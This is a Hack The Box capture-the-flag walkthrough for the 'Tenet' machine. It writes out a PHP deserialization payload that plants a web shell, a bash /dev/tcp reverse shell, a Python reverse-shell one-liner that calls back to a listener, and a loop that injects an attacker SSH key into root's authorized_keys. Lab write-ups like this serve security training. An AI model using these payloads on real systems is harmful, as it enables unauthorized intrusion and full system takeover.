CTF Walkthroughs, Hack The Box

Hack The Box – Tenet Walkthrough

Introduction

This was an intermediate Linux box that involved exploiting a PHP deserialization vulnerability to gain initial access, and a vulnerable Bash script to overwrite the root user’s authorized SSH keys and escalate privileges.

Enumeration

The first thing to do is to run a TCP Nmap scan against the 1000 most common ports, and using the following flags:

  • -sC to run default scripts
  • -sV to enumerate applications versions

The scan has identified two open ports: port 22 (SSH) and port 80 (HTTP), the next step will be to enumerate HTTP further.

Enumerating HTTP

The following page is displayed when browsing to the site:

The next step is to run a scan to find hidden files or directories using Gobuster, with the following flags:

  • dir to specify the scan should be done against directories and files
  • -u to specify the target URL
  • -w to specify the word list to use
  • -x to specify the extensions to enumerate
  • -t to specify the number of concurrent threads

The Gobuster scan has identified a users.txt file and a /wordpress directory.

When navigating to the wordpress entry, the site does not appear to render properly:

Most of the hyperlinks refer to tenet.htb, so adding it to the /etc/hosts file:

The site now loads properly, it appears to be a simple WordPress site:

Running WPScan against the site with the following flags:

  • –url to specify the URL for the Wordrpess application, in this case, http://tenet.htb
  • -e to specify the elements to enumerate, in this case, ap for all plugins, at for all themes, tt for timthumbs, cb for config backups, dbe for database exports, u for users and m for media:

The scan has identified two users: protagonist and neil:

The site contains a bog post with a comment referring to a sator PHP file and a backup:

When visiting the sator.php file it appears it is updating a database based on a text file:

The users.txt only contains the following:

Since the blog post mentioned a backup, trying a few variants of backup extensions such as .backup, .bkp and finally found the .bak extension sator PHP file:

Exploiting sator.php File

Inspecting the sator.php file and adding comments along the way to understand what it is doing:

<?php
class DatabaseExport
{
//defining variable with text file and data
public $user_file = 'users.txt';
public $data = '';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
//assigning 'Success' to data variable
$this-> data = 'Success';
}
public function __destruct()
{
//appending the contents of the data variable to the users.txt file, so in this case 'Success'
file_put_contents(__DIR__ . '/' . $this ->user_file, $this-
>data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
//saving value of arepo parameter in url to input variable
$input = $_GET['arepo'] ?? '';
//unserializing input variale
$databaseupdate = unserialize($input);
//Calling the update_db function
$app = new DatabaseExport;
$app -> update_db();
?>

The script is vulnerable to deserialization, as the __destruct() magic method is being used to append the results of the script to the user file, through the “arepo” parameter.

The following serialized object can therefore be used as the payload, to trigger a reverse shell:

O:14:"DatabaseExport":2:{s:9:"user_file";s:7:"rce.php";s:4:"data";s:73:" /dev/tcp/10.10.14.2/5555 0>&1'"); ?>";}

URL encoding it the payload:

Sending the payload as the arepo GET parameter:

http://10.10.10.223/sator.php?arepo=O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A7%3A%22rce.php%22%3Bs%3A4%3A%22data%22%3Bs%3A40%3A%22%3C%3Fphp%20echo%20system(%24_REQUEST%5B%27test%27%5D)%3B%20%3F%3E%22%3B%7D

Navigating to the rce.php file and providing a command to the test parameter grants remote code execution:

The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:

  • -l to listen for incoming connections
  • -v for verbose output
  • -n to skip the DNS lookup
  • -p to specify the port to listen on

Using a Python3 reverse shell to gain access:

http://10.10.10.223/rce.php?test=python3%20%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.10.223%22,443)); os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

A callback on the Netcat listener was received, granting a reverse shell:

The following steps can be done to obtain an interactive shell:

  • Running “python -c ‘import pty; pty.spawn(“/bin/sh”)’” on the victim host
  • Hitting CTRL+Z to background the process and go back to the local host
  • Running “stty raw -echo” on the local host
  • Hitting “fg + ENTER” to go back to the reverse shell

The wp-config.php file, which usually contains database credentials for WordPress, appears to contain credentials for the “neil” user:

There seems to be a neil user on the machine, trying to change to it with the password found earlier:

This worked, granting access as the neil user.

Privilege Escalation

It appears the neil user can execute /usr/local/bin/enableSSH.sh as root:

Commenting the enableSSH.sh script below to better understand how it works, basically it is creating files in /tmp named ssh-random containing the root user’s public key, and then pushing them to the root user’s authorized_keys file.

This means by changing the ssh-random file it could allow an attacker to add their public key to the root user’s authorized keys and therefore authenticate via SSH as root.

#!/bin/bash
#this function checks if the root@ubuntu key is added the root user's
authorized keys
checkAdded() {
#storing the last part of the key i.e. root@ubuntu in the sshName variable
sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
#if the public key of root@ubuntu is in the authorized_keys file, display a
success message
if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
/bin/echo "Successfully added $sshName to authorized_keys
file!"
#if not display an error
else
/bin/echo "Error in adding $sshName to authorized_keys file!"
fi
}
checkFile() {
#if no stdin is provided or the file provided does not exist display an error
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
/bin/echo "Error in creating key file!"
#if it already exists, remove it
if [[ -f $1 ]]; then /bin/rm $1; fi
exit 1
fi
}
addKey() {
#create a variable to store the name of a file in /tmp/ssh-randomchars
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
#create the file and give it SUID permissions
(umask 110; touch $tmpName)
#put contents of key variable into the file created above
/bin/echo $key >>$tmpName
checkFile $tmpName
#put contents of tmpName variable into the root user's authorized keys
/bin/cat $tmpName >>/root/.ssh/authorized_keys
#remove tmpName file
/bin/rm $tmpName
}
#defining key variable
key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/
Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN
+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/
ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt
+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA
+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/
w0p+Urjbl root@ubuntu"
addKey
checkAdded

Generating a new SSH key pair:

Copying the public key over to the box using Vim:

Creating a little Bash script that will keep overriding the ssh-random files created by the script above with the public key generated earlier:

#!/bin/bash
while true;
do cat id_rsa.pub | tee /tmp/ssh-*;done

Giving the script execute permissions and executing it in the background, in order to be able to keep using the box while tit runs, outputting everything to /dev/null:

Running the enableSSH.sh script as root a few times until it works successfully:

Authenticating via SSH as root using the private key generated earlier:

This has worked, granting a root-level shell.

Conclusion

I really enjoyed this machine, exploiting the PHP deserialization vulnerability wasn’t too hard, the privilege escalation part was definitely the most interesting bit, as it required a bit of thinking to figure out how the script worked and how to potentially exploit it